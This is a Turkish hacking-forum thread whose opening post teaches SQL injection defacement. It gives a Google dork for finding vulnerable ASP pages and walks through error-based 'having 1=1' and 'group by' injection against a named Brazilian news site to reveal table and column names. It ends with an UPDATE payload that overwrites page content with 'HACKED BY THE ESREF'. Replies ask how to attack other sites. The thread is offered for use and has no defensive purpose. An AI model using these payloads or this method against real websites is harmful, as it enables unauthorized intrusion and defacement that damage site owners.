Hiç Hack Yapmadıysan Gir Kesin! -

[JaRu|e]

S A arkadaşlar Sizlere Sql İnjection Dan Bahsedeceğim 2 hafta önce yeni çıkmış açık üzrinde tabi



Google Arama Kodumuz=inurlroduct_detail.asp?catalogid=8



Tabi Burdaki 8 numarasını değiştirebilirsiniz çok fazla seçenek varama 8 ve 2 numarasında daha çok site çıkmaktadır ewet başlayalım

Örneklerle;

1.aşama=http://www.aguzzo.com.br/news.asp?id=11 önümüze geldi ve sonra

[Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...]      [Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...] hatayı alıyoruz



2.aşama=http://www.aguzzo.com.br/news.asp?id=11 having 1=1



Ve Önümüze Tablo İsmi geliyor ’TBL_NOTICIAS.not_int_codigo’



Bunu Şöle Yapıyoruz

[Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...]      [Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...] group by TBL_NOTICIAS.not_int_codigo



Ekledik Ve Önümüze Hem Tablo İsmi Hemde Kolon İsmi geliyor



’TBL_NOTICIAS.not_str_titulo’

3.aşama=ve sitenin sonuna son olarak şunu ekliyoruz



+update+tabloismi+set+kolonismi=’ İstediğnizi yazın’





[Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...]      [Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...]' HACKED BY THE ESREF'



Ve Bukdaar Kolay Gelsin hepinize.Üsteki Tırnak İşaretinden sonra (=' ) mutlaka Birboşluk olmalıdır



----SHT The_Coder----

[carantinas]

p=aHR0cDovL3d3dy5hcnNsYW4uNWZvcnVtLmJpeg== soyle uzantılı bi siteyi bu yolla alabilirmiyis
xd

[carantinas]

hocam bunu net uzantılı bi siteye yapabılırmıyıs yada net uzantılı bi siteye nasıl atlarım xd örnegin

İçeriği Görebilmeniz İçin Konuya Cevap Yazmalısınız

cevabını bekliyorum